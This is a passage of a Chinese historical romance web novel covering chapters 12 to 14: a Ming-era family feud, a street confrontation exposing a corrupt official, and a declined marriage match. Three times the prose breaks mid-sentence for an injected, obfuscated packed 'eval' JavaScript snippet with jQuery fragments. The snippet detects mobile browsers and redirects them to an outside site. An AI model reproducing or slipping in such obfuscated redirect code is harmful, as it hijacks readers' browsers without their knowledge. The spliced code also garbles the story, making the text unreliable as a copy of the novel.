“周太太请坐,我们太太恼恨你,放狠话要与周家绝交。不过我想着,若不是遇到极难的事,你也不会登我家的门,就算亲事不成,也不能是仇家,再说了,周老爷和我家老爷还是同乡,万万没有见死不救的道理。”
这番话简直说到周太太的心坎里,顿时觉得姚姨娘顺眼起来,嘶哑着嗓子哭道:“我家老爷被陈令安抓走了,我到处求人,斡旋好几天都没个结果,如今只能指望你家出面了。”
姚姨娘浑身一颤,原本想借此散布蒋氏小肚鸡肠的名声,竖起自己温厚贤淑的形象,却无论如何没想到接了个烫手炭团!
老爷向来远离朝中争斗,绝不能求到他面前去,可她一个内宅妇人,插手朝堂就是异想天开。
她开始后悔给周太太开门了。
周太太泪眼婆娑,丝毫没注意姚姨娘脸上的悔色,“你家三姑娘和陈令安是旧相识,关系很好,平阳侯府四时宴上,就是她救下了刘家公子。能不能让她跟陈令安求个情……”
姚姨娘心头一动,想起张小满曾说被一位周公子刁难,因问道:“前些天你儿子是不是去过旧院,遇到三姑娘了?”
果然,周太太眼神开始闪烁,期期艾艾半天方点了点头。
姚姨娘眼神变得意味深长。
周太太苦笑道:“我连谢礼都准备好了,就是见不到她的人。”
“即便你今日能见到她,也成不了事。”姚姨娘身子前倾,与她耳语一番,“……如此,方是稳妥之法。”
周太太脸上先是闪过疑惑,继而吃惊地睁大眼,明显的犹豫了,不知又想到什么,带着几分毅然决然重重点头。
雨丝又细又密,乳白色的水雾渐渐弥漫上来,模糊了周太太远去的身影,也隐去了姚姨娘挂在唇角的哂笑。
不知是门子泄露了风声,还是哪个路过的下人看到,转天张文便问起此事。
姚姨娘早有准备,回答得滴水不露,“她在门口又哭又闹,不免引起路人猜疑。妾担心传出不好的话来,影响老爷的官声,就自作主张劝慰她几句,好歹把人送走了。”
周家的事张文有所耳闻,自是不想淌浑水的,却也不愿叫人说他凉薄,非但没有起疑,反而夸姚姨娘考虑周全,做事稳妥。
无形中又增加了对蒋夫人的不满。
眼看五月将至,这五月又称“毒月”,蝇蚊毒虫蠢蠢欲动,佩戴驱五毒香囊的人逐渐多了。
张小满也学着做香囊,费了三四天的功夫,作废好几个,总算做出个能拿得出手的香囊。
“青缎绣竹报平安,这个寓意蛮好。”锦绣笑嘻嘻捧场,“过会子去刘家送礼,姑娘正好把这个送给刘公子,君子如竹,他一定会很高兴。”
张小满一怔,“我没打算给他。”
锦绣小脸皱成一团,“不给他给谁,太太特意交代姑娘跟她一起去刘家,这意思还不明显吗?”
张小满只觉头大如斗,哀叹一声倒在塌上。
再不情不愿,也得听从母命,乖乖梳洗打扮,上轿出门。
明明是骄阳炽热的节气,这日的天色却不大好,灰白的云层压得低低的,河面上似烟似雾的水气袅袅起落飘游,给沿河一带的白墙黑瓦蒙上一层面纱,显得苍白又幽暗。
柞木轿杠“嘎吱嘎吱”地响,轿中的张小满无聊地打了个哈欠,已是昏昏欲睡。
一声悲切的哭号蓦地响起,与此同时,小轿猛地一顿,停住了。
“小满姑娘开恩!”陌生的妇人声音大声哭喊,“饶过我家老爷吧,什么仇什么怨都是我的错,求你开恩呐!”
张小满愕然,刚掀开轿帘欲看究竟,就听嫡母怒喝道:“周太太,你得了失心疯了!你家老爷被抓和我们有什么关系?好歹是个官太太,倒三不着两,没的犯嫌。”
周太太掩面哭道:“人都要死了,我还要这脸做什么?小满姑娘,我家老爷只剩口气在,我家小子也吓病了,什么仇什么怨也该出气了。你行行好,放过我们家,我给你立长生牌。”
张小满越听越糊涂,忍不住出声询问:“周太太,你说的话我怎么一句也听不懂?”
渐渐有路人聚集过来,而且拐个弯儿就是刘宅,蒋夫人马上明白了周太太的用意,火气蹭的一下蹿上了脑门子,“理她作甚,来人,把她拉开!”
周太太瘫坐在地,扯着嗓子长一声短一声地喊饶命。
她毕竟是有品阶的夫人,下人不好动粗,劝又劝不动,一个个立在旁边面面相觑。
蒋夫人看了愈加恼火,厉声喝道:“都是聋子不成?再不动手,全打发了!”
下人们只能硬着头皮上前拉周太太起身。
周太太心一横,索性跪下,抢天呼地哀号不止。
围观人群指指点点,不乏有同情的目光落在周太太身上,窃窃私语中,尽是对权贵仗势欺人的愤慨。
蒋夫人有些发慌了。
张小满深吸口气,下轿走到事主儿面前,“周太太,你总得说清楚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901251|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么事。”
果然奏效了!周太太猛地甩开扶她胳膊的人,“我家老爷被陈令安抓进诏狱,好姑娘,你去和陈令安说,只要他把人放了,你就是我们全家的恩人!”
张小满真是好气又好笑,怼她的话冲到嘴边,却是一顿,说:“不知周老爷的罪名是……如果是欺君罔上谋逆不轨,我可不敢开口。”
“不是不是。”周太太急急否认,看向张小满的眼神不由带上怨怼,“姑娘莫要揣着明白装糊涂了,陈令安就是为了替你出气,才抓了我家老爷。”
人群一片哗然。
“满嘴胡吣!”蒋夫人又急又恼,又恨她往小满身上泼脏水,“陈令安何许人也,她一个小姑娘,能左右得了陈令安?”
围观的人越多,周太太的气势越盛,“怎么不能?平阳侯府四时宴,陈令安要抓刘瑾书,千钧一发之际,就是张小满拦下了陈令安。”
事情传来传去竟传成这个样子!如果大家信以为真,以后都找小满通融,岂不是把她架起来了?蒋夫人警铃大作,待要说话,不妨张小满冲她微微摇了摇头。
“既是为我出气,你倒说说看,你家是如何得罪我的?”
周太太一下卡了壳,支支吾吾半天吐不出一个字。
张小满的胳膊肘轻轻碰了下旁边的锦绣。
锦绣从怔楞中回过神,撩起袖子上前大声道:“先是巴巴地求娶我家姑娘,后来不知攀上谁家高枝,相看当天说不来就不来,连句道歉的话都没有,还到处坏我家姑娘的名声!”
“你儿子偷听我和姑娘的悄悄话,疯狗一样辱骂我们姑娘,那些话说出来都脏我的嘴!”
轰一声,人们大笑起来,有的还扯着嗓子喊:“真是犯贱,一定弄得人家找上门,这不是活该嘛?”
周太太想辩白却无从分辩,一张老脸顿时涨成了猪肝色,身形也委顿了,气势消减大半。
到底不甘心,她咬咬牙,居然跪下了!
“我给你跪下啦,千错万错都是我的错,什么仇什么怨你都冲我来,千万别牵扯无辜啊,求你,求求你!”
说着,作势要磕头。
张小满侧过身,不扶她也不受她的跪,却不打算就此放过她。
“周太太,锦衣卫的主人是谁,你比我更清楚,谁能让锦衣卫乖乖听话,大家心里都明白。”
张小满摆出一脸的诚惶诚恐,“你口口声声说我能支使得了锦衣卫,这样大不敬的话,你敢说,我不敢认。”
好个刁钻丫头,乱扣帽子倒有一手!
周太太暗恨,面上却不能显现出来,悲悲切切哭道:“是我一时情急说错了话……”
“况且刘公子也不是我救下的。”张小满根本不给她解释的机会。
“人家本来立身就正,不过有点子误会罢了,当时刘老爷就和陈令安解释清楚了。这事赴宴的人都可以作证,我记得周太太那天也在场,按说你知道的呀。”
“早就清楚还乱攀扯人,可见心中着实有鬼,恶人先告状!”有人高声笑道,看客们也随之起哄不止。
蒋夫人冷笑着一语道破,“你不敢求陈令安,就跑过来拦我家的轿子,不说好言好语相求,却把脏水往我闺女头上泼。哼,你就是打心眼里看不起她,擎等着她反过来给你赔不是!见过不要脸的,没见过你这么不要脸的。”
人们议论纷纷,方才对周太太的同情全然不见了
方才在人群中高喊的人望向刘家的方向,得到示意后,悄悄退了出去。
风拂过,街巷拐角,玉色的长袍水纹一样荡漾开来,刘瑾书微微笑着,待要举步迎她二人,彻底帮张小满解决这个隐患时,却见一抹大红色出现在街巷那头。
陈令安来了。
13. 第 13 章
不知谁低低惊呼了声,人们停顿了一下,随后又潮水般后退,让出当中一条道来。
张小满惊讶地回头望去。
一抹红色身影慢慢从朦胧雨雾中显现,鲜明灿然,张扬肆意,晦暗的天色都要被这团火逼退。
他没有撑伞,手里摆弄着一把折扇,微微昂着头,带着一种懒洋洋又不乏冷傲的神色。那张脸固然俊美得无可挑剔,却让人生不出一丝亲近之意。
只有张小满不一样。
“你特意来找我?”她兴冲冲跑到他面前问。
“不是。”陈令安依旧否认,慢悠悠越过她,只看着吓傻的周太太,“正主儿在这,哭啊,喊啊,有什么冤屈说啊。”
周太太哪里还出得了声音!
哗一声,陈令安猛地打开折扇,惊得周太太浑身一颤,往后缩了又缩。
此时张小满的目光被那把折扇吸引住了,不由自主发出一声赞叹。
“第一次见?也是,三十六档象牙通雕花鸟山水折扇,牙片质薄如纸,通体镂空,大骨浮雕山水树木,小骨拉丝浅浮雕珍禽折枝花卉,皆以黄金上色,刀法老道,设计精妙,华丽却不媚俗。”
陈令安悠闲地摇摇扇子,“莫说你,就是宫廷上用,也找不出比这把更贵重的象牙扇。”
“那得多少钱?”张小满脱口而出。
陈令安笑笑,伸出三个手指晃晃。
“三……百两?”有了前面青金石的震撼,张小满不敢说三十两,鼓起勇气往高里猜。
陈令安摇摇头。
张小满失声道:“不会是三千两吧!”
陈令安点点头。
围观人群一阵倒吸气。
“老天爷,三千两!一把扇子!”
张小满两眼瞪得溜圆,“我一辈子也挣不来三千两!好家伙三千两,都能把咱宣府王家湾方圆百里的地全买了。”
陈令安慢慢合拢折扇,颇多感慨叹道:“庄户人辛辛苦苦一辈子,也不过勉强糊口,宽裕点的,至多攒个二十几两。”
“便是这富贵窝子应天府,殷实人家能有个几百两的家私,就算烧高香了。”
“可这样的扇子,周家轻轻松松就拿出四把!”
惊呼声此起彼伏,这时人们眼中不仅没了同情,还添了不少的痛恨。
陈令安继续道:“二月十六送次辅陈绍,以期在京察时列个上等,升任外省实权肥差。周太太,我可有说错?”
周太太委顿在地,头也不敢抬。
张小满听了却是心头一动,二月十六,那不就是周家摆她一道那几天吗?原来真是抱上了大粗腿!
陈令安轻轻笑了声。
“另有营私舞弊、贪墨放贷诸般大罪,明明是个搜刮民脂民膏的大贪官,怎么反叫起冤枉来?”
“印子钱,转子钱,青苗钱,虚钱实契,放高炮都被你们放出花儿来了!在你们眼里,老百姓不过蝼蚁,只要能保住你们的权势,他们的死活又算得了什么?”
看热闹的人们大多是普通老百姓,或多或少都受过当官的欺压,一听这话立时感同身受起来。
真是穷苦百姓说贪官,听取骂声一片!
周太太脸上血色褪得一干二净,压根不敢分辩,只膝行上前哀声求饶,“饶过我们这一遭,以后再也不敢了。”
陈令安冷冷道:“只消哭一哭,跪一跪,就能把做过的事一笔勾销,天底下哪有这样的便宜事?”
周太太再也挨不住,两眼一闭,身子软软向地上倒去。
角落里出现两个婆子,畏畏缩缩往这边走。
陈令安眼光一闪,低低对周太太道:“既然你如此记挂你丈夫,不如去诏狱陪着他吧。”
周太太吓醒了,“不、不,求求大人……”
陈令安不怀好意一笑,忽提高声音,“周太太爱夫心切,自愿入诏狱照料周大人,本官当然要成全她。”
周太太“呃”的发出怪声,两眼一翻直直后仰——这回是真的晕了。
锦衣卫从不说空话,立时有身着便衣的校尉从人群中闪出来,拖起昏死的周太太便走。
那两个婆子对视一眼,哆哆嗦嗦回家报信去了。
热闹没的看,加之陈令安名声在外,人们到底有几分惧怕,交头接耳一阵,便三三两两的散了。
纵然蒋夫人一个劲给张小满使眼色,她脸上的笑却怎么也压不下去,“我就说他是个好的,母亲,这回你总信了吧。”
蒋夫人含糊两声,打算带小满离开眼前这个是非人。
然而是非人偏偏站在她前面不动地儿,还微微一躬身道了声,“蒋姑姑好,多年不见,小侄给姑姑请安。”
他竟是个自来熟?蒋夫人疏离一笑,“这可不敢当。”
“我爹爹曾在蒋先生门下求学,十六年前,爹爹调任国子监祭酒时,带着我和娘亲去府上问安。”陈令安声音很轻,好像怕惊扰到什么似的。
蒋夫人听他提起自己的父亲,一阵酸涩冲上鼻腔,眼中已有了泪意,点点头,算是打过招呼了。
“我记得那天姑姑正好回娘家,怀里抱着一个粉雕玉琢的胖娃娃,我还抱着他摘树上的石榴。”陈令安笑了起来,“小公子可真沉,压得我手都酸了,转天手都提不起笔,我娘还以为我偷懒不想练字。”
蒋夫人仔细回想片刻,好像是有这门回事,可小公子……她看看旁边雀跃不已的张小满,犹豫了下,没有说破。
“母亲,母亲,”张小满摇着蒋夫人的胳膊,眼睛往外放光,“你们是故交啊,算起来比我认识他还早好几年呢!”
想起陈年往事,蒋夫人的心软了几分,语气却不改先前的疏离,“太久远的事,想不起来了。”又笑,“那时陈大人不过四五岁,能记得什么?想必记错了也是有的。”
张小满惊讶极了,看母亲的神色,明明是有印象的,为什么装作忘了?
陈令安不以为意笑了笑,“或许吧。”
张小满看了,心里立时五味杂陈,若是她,一定难过得掉泪,陈令安却没露出丁点伤心的神色。若说他冷硬无情不在乎,她是决然不信的。
只能是因为这样的事经常发生,经得多了,人也疲了,不得不看开。
“今儿你又帮了我一次。”她数
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901252|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着手指头,努力调和气氛,“让我算算,一、二……连咱们头回见面算上,我得你五回好了,可怎么还呀。”
蒋夫人皱了下眉头,待要把话题带过,不妨一个清朗的男声响起,“姨母!”
刘瑾书大踏步走来,因撑伞不方便作揖,便一躬身笑道:“母亲久候不至,生恐半路有事绊住脚,特让外甥出来迎接。”
站位卡在张家母女和陈令安中间,随着他转身,那把伞好巧不巧挡住了陈令安的视线。
伞面上的雨点子差点甩陈令安脸上!
陈令安退让两步,阴沉着脸一言不发。
“没什么大事,正要走呢,可巧你就来了。”蒋夫人急着离开是非地,一面应着刘瑾书,一面忙不迭催小满上轿。
刘瑾书这才转过身,却依旧没有和陈令安打招呼的意思。
陈令安冷冷笑了声,“刘探花的确来迟了,早来些,说不定就能救下周家太太,再早来些,说不定还能救下周大人。只有几步路而已,陈阁老问起,恐怕不好交代吧。”
这话逼得刘瑾书不得不开口,“人不是我抓的,要问,也是问陈大人。”
他的个头比陈令安高一寸多点,面对面站着,距离又近,说话时视线是向下的。
陈令安脸色变得更不好看,扯出个皮笑肉不笑的表情,“你父亲能做建极殿大学士,周大人可没少替他活动,这么快就撇清关系,明哲保身了?”
刘瑾书面上一红,旋即恢复常色,“陈大人慎言,我父亲能入阁,是皇上的恩典。你这话将皇上置于何地?天下可没人能左右得了皇上的决定。”
眼见气氛越来越僵,蒋夫人暗道声不好,赶紧对陈令安歉意地笑笑,“我们还要去刘家送节礼,就不耽误大人办差了。今天有劳大人解围,改日我家老爷必登门道谢。”
陈令安还是很给她面子的,略一颔首,闪身让出路。
雨丝就像用细筛子筛过似的,飘飘摇摇均匀地洒向大地,化作雾蒙蒙的湿气笼在他身子周围,红色的衣角在微风中悠来荡去。
他向这边望着,没什么表情,面孔美丽而苍白。
张小满放下轿帘,只觉心情也和这天气一样了。
轿子吱吱呀呀响着消失在街巷拐角,陈令安还站在原地,忠实的跟班吴勇小跑过来,把伞遮在上司头顶,喋喋不休,“大人放心,我们已经撬开了姓周的嘴,刘家蹦跶不了几天,再用些功夫,咱们准能把阁老拉下马!”
“哼!”陈令安猛地呼喝一声,怒气十足,怨气冲天,满满的不甘,惊得吴勇差点咬到自己的舌头。
“去买双厚底靴子。”
吴勇低头去瞧上司的皂靴,“大人靴子坏了?”
“没,记住要厚底的,至少比我脚上这双厚出一寸。”
垫那么高穿着不舒服啊。
吴勇张张嘴,瞧见上峰满脸郁气,还是把嘴闭上了。
陈令安都走出去好几步了,又回身叮嘱一句:“告诉鞋匠,靴子外面要看不出来,别穿上跟踩高跷似的。”
吴勇顶着一脑袋雾水点点头。
可到底为啥呀!!!
14. 第 14 章
雨比刚才小了点,密密地斜织着,刘家的园子全笼上一层薄烟,荷花池上雾气缭绕,翠绿的荷叶影影绰绰、恍恍惚惚,张小满瞧着,总有种不真实的虚幻感。
两位太太在花厅说话,打发刘瑾书带她到园子逛逛。
两人沿游廊慢慢地走着,刘瑾书温声解说,“我家园子仿苏州园林建造的,雨中看也别有一番风味,你看这里……”
张小满心不在焉地轻声附和,满脑子都是陈令安那抹孤独的身影,一会儿就不知道刘瑾书在说些什么了。
“你是不是喜欢陈令安?”
突如其来的问话,张小满一时没反应过来,“你说什么?”
“我想知道你对陈令安的感情,”刘瑾书垂眸看过来,神情认真,“希望你能说实话。”
张小满有点不知所措,嫡母和锦绣也问过她同样的问题,那时候她毫不犹豫说出了答案,可现在,她居然迟疑了!
游廊旁的栀子花丛在微风中轻轻摇曳,雨势逐渐减弱,天光却更加晦暗。
凉沁沁的雨珠飘落在张小满热乎乎的脸上,她慢慢冷静下来。
刘瑾书这样问无疑是唐突的,可两家都有意促成他们的亲事,作为相亲对象,刘瑾书疑惑她和别的男子的关系也在情理之中。
然而算上今天,他们只见过三次面,她还真不好意思和他谈论少女心事。
沉吟片刻,张小满坦然迎着刘瑾书的目光,反问说:“你是不是喜欢我?”
刘瑾书没想到她如此大胆,不过须臾的功夫,白净的脸皮泛红了。
不等他说话,张小满第二问又紧跟上来,“我一直很纳闷,你怎么会相中我?”
刘瑾书琢磨了会儿谨慎答道:“你……活泼大方,秀外慧中,两家家世也匹配,又是亲上加亲……”
“快别说这些虚头巴脑的空话,”张小满笑着打断,“希望你能说实话!”
同样的话,一字不差还了回来。
刘瑾书愣怔了下,旋即笑出了声,“是啊,你的相貌马马虎虎,礼仪马马虎虎,琴棋书画更是提都不要提,怎么看也和大家闺秀挨不上边。”
说是要听实话,可天底下实话最扎心,饶是张小满心胸豁达,笑容也不禁勉强了。
“若说娘家的重视……和亲人分别十五年之久,没有朝夕相处的情分,端看四姑娘突然出现在四时宴上这事,就知道府上待你不过尔尔。况且张大人是寒门贵子,根基薄弱,虽是二品尚书,却在朝中大事上说不上话。”
“若是结亲,好处都是张家的,于刘家并无助力。”刘瑾书偏着头仔细看着张小满,“这样一个平平无奇,还与我的死对头有纠葛的小女子,我看上她哪点了呢?”
这回轮到张小满脸红了,她不自然地扭转身子,躲开了对面的视线。
“是个活人。”刘瑾书低低道。
张小满失笑:“这算哪门子优点,谁还不是个活人了?”
显然不相信他给出的理由。
刘瑾书看着那张烂漫的笑脸,嘴角也翘了起来。
世家大族规矩森严,左一个贤淑谨顺,右一个才德容止,连步子大小都做了严格限定,作弄得闺阁绣女都像一个模子里出来的。
纵有生来娇憨灵动的,也在天长日久的规训中被磨去棱角,失去灵气,从璞玉变成死气沉沉的石头。
简直叫人扼腕叹息!
虽说世情如此,这样的女子也着实符合高门大户的主母标准。
他不讨厌,可也不喜欢。
大概这就叫做“意难平”……
一打岔,方才的话题便不好再提起,笑声过去,两人一时又没了话说。
雨渐停歇,微风刮过,树上积存的雨水滚珠似般落下。
游廊已经走到头了,穿堂过去就是花厅,张小满迈过门槛时,说了声“抱歉”。
刘瑾书脚步微顿,摇头苦笑,“没想到我也有被女孩子拒绝的一天。”
张小满回头一笑,“滋味如何?”
刘瑾书叹了声,堆出伤心的表情。
“别装了。”张小满哈哈大笑起来,“我知道你根本没放心上!你没见过我这样满身土腥味的姑娘,一时新鲜而已,不长久的。你是谪仙般的人物,只有大家族精心养出来的,惊才绝艳的姑娘才适合你。”
刘瑾书又是一怔,望着她的背影,脸上的伤心倒有几分像真的了。
花厅里,谈笑声正浓,张小满和刘瑾书一前一后的进门,沉默着各自坐下,也没有一丁点的眼神交流。
笑声渐歇,秦夫人疑惑地看向自己的儿子。
刘瑾书摇摇头。
秦夫人面色一沉,笑容也淡了,端起茶杯道:“过会子还要给侯府送节礼,就不留你们吃饭了。”
刘瑾书没想到母亲如此直截了当,想阻止已来不及了,只得随着蒋氏母女起身,“我送姨母。”
蒋夫人一头雾水出来,拉着张小满上了她的轿子——好在这顶轿子宽敞,坐两个人也不挤。
张小满没敢隐瞒,把自己拒绝刘瑾书的事原原本本交代了。
“你……”蒋夫人简直不知道说什么好,又气她不听话,又心疼她太通透,末了在她后背不轻不重一拍,长叹一声,“算了,强扭的瓜不甜,只盼你日后不要后悔。”
张小满偎着蒋夫人,轻轻摇晃她的胳膊,“我不要人前显贵,人后受罪,我要的是两心相知,情投意合。”
“随你,都随你,只一条,不准再和陈令安往来。”大概知道自己说了也白说,蒋夫人随即揭过这篇,琢磨起周太太的事来,“她好像知道咱们今天要去刘家,特意在这里等着似的。”
小满也觉得奇怪,“一冲出来就喊我的名字,我都没有露脸!”
定是有人给她通风报信。
蒋夫人立刻猜到姚姨娘身上,咬牙恨恨道:“准是姚舜秀,前天我没见周太太,她倒趁机卖好,请到门房里喝茶,两人嘀嘀咕咕好一阵,准没憋好屁!看我回去不收拾她。”
小满劝道:“闹的动静这么大,家里肯定早得了信儿,虽说老爷偏疼姚姨娘,可老太太的威严体面,还是要维护的。”
老太太曾发话,让姚姨娘静心抄写经书,不准出院子。结果话还没凉呢,她就颠颠儿地瞎掺和,暗搓搓地使坏。
也太不把老太太当回事了。
“况且,”小满眼中划过一丝狡黠的光,“刘家的亲事黄了,焉知不是受了此事的影响?”
蒋夫人一怔,“可是……”
小满笑笑,“他们还能找刘家对质?那也太丢份了。我们不能太实诚,对付小人,君子之道是行不通的。”
姚姨娘母女一而再,再而三算计她,这次还把陈令安牵扯进来。本来是抓贪官为民除害,差点让她们污蔑成以权谋私泄私仇了!
人们本就对陈令安偏见至深,假如这回让她们给坐实污名,以后的处境会愈发艰难。
一想到人们对他指指点点的情形,小满胸口就闷痛闷痛的。
她重重吐出心中郁气,眼神罕见地染上冷意,“母亲,你千万不要出头,老爷总爱和你对着干,你越要惩治姚姨娘,他越是护着,还不如交给老太太办。”
蒋夫人觉得不妥,“老太太一向不大管事,在家也住不长久,就算出手管教姚姨娘,等她一走,还不是外甥打灯笼——照旧!”
小满笑笑,“她会管的。”
蒋夫人不大相信,但看小满一副成竹在胸的样子,便把到嘴边的话又咽回去了。
老太太出手,于她自是意外之喜,不管,她也没损失,只是又要落得老太太几句“管家不善”的抱怨。
蒋夫人长长叹出口气,忽然觉得这样的日子好没意思。
-
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901253|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她们预想的没错,张文窝了一肚子火赶回家。
“又在大庭广众之下与人争执,哪里像书香门第的太太姑娘?我张家的脸都被她们丢尽了!”
对蒋氏更是不满,“就是看中她大家出身的背景才娶她,原想着教养差不到哪儿去,结果也是个肤浅粗鲁的,真是娶妻不贤毁三代。”
姚姨娘忧心忡忡,“本来外面就谣传周大人入狱与咱家有关,这下周太太也受她们连累进去了,如果陈阁老认为老爷和陈令安私交笃深,老爷必会被针对排挤。莫说再进一步,只怕现在的尚书也保不住,老爷,不能再观望了呀。”
张文一根根捻着颌下美髯。
首辅杨东行告病多日,大家嘴上不说,其实心里都知道他根本没病,是被陈绍逼得不得不“病”。
按目前的形势看,陈绍登上首辅的位子指日可待,他和陈令安又是不死不休的关系,且这叔侄俩都是不能容忍摇摆不定的人。
姚氏说得对,是时候下决断了。
张文深吸口气,铁青着脸刚要唤下人,就见孙姨娘低头进来,屈膝一礼,“老爷,太太回来了,老太太让你和姚姨娘去松鹤堂说话。”
张文问什么事,孙姨娘低声回话,“好像是刘家的亲事不算数了……妾也是突然被叫来传话的,只听了一耳朵,没敢细听。”
听到第一句话时,姚姨娘眼睛一亮,却仍故作焦虑万分,“把刘家也得罪了,万一陈阁老为难你,连个说情的人也没有,这可怎么是好。三姑娘真是的,总和那个煞星纠缠不清,唉,太太一味纵容,也不管着点。”
又是扇风又是加柴的,张文的火气一下子冲到脑袋顶。
孙姨娘嚅动下嘴唇,似乎想说些什么,小心覷了姚姨娘一眼,又忍下了。
张文怒气冲冲赶到松鹤堂,边老太太坐在靠北墙八仙桌右边,面色很是难看,下首是蒋氏,也是一脸的愁容。
那个成天给他惹事生非的野丫头就站在蒋氏身旁,正低着头抹眼泪。
张文喝道:“你给我……”
“你给我跪下!”边老太太猛地抄起茶杯扔向姚姨娘,惊得姚姨娘连连后退,激得边老太太怒火更胜,“你还敢躲?”
话音未落,她拿起蒋氏手边的茶杯,兜头朝姚姨娘砸过去。
姚姨娘不敢躲了,好在老太太这一下准头不足,只泼了她一头一脸的水。
她略一犹豫才慢慢跪下,泣声道:“老太太,妾自问并无过错,不知何事惹得老太太大动肝火?妾受点委屈不算什么,老太太贵体为重,若是平白气坏身子,妾就是万死也难辞其咎啊!”
张文也丈二和尚摸不着头脑,在八仙桌左边坐下,摆出一家之主的威严,“怎么回事,好好的又有谁挑拨是非了?”
小满悄悄摁住了想说话的蒋氏。
“你问她!”边老太太怒气不减,“鼓动周太太当街拦轿,口口声声说陈令安抓周大人是为给三丫头泄愤,硬把咱家和陈令安绑在一起,偏巧又撞见了刘瑾书。刘家能不误会?能不和咱家撇清关系?好端端的亲事,就让她祸害没了!”
姚姨娘小声地哭,“冤枉,妾……”
“门房都一五一十交代了,还想哄骗我?”边老太太砰砰地拍桌子。
“我说过不抄完佛经不许出院门,你这贱人扭脸就跑到大门口和周太太嘀嘀咕咕,合着我说话都是放屁?”
边老太太指着姚姨娘的鼻子骂,“蒋氏是世家贵女,我训斥她,她都不敢言语一声,交代的事更是无一不从。你算个什么腌臜东西,不过我儿的消遣玩意儿,还把自己当个人物了,也不撒泡尿照照,看自己配不配!”
自打进了张家的门,姚姨娘就没受过这样的辱骂,只觉全身的血都涌上脑袋,一张脸涨得通红,手心几乎要掐出血来。
却是死死咬着牙,不能有一个字的分辩。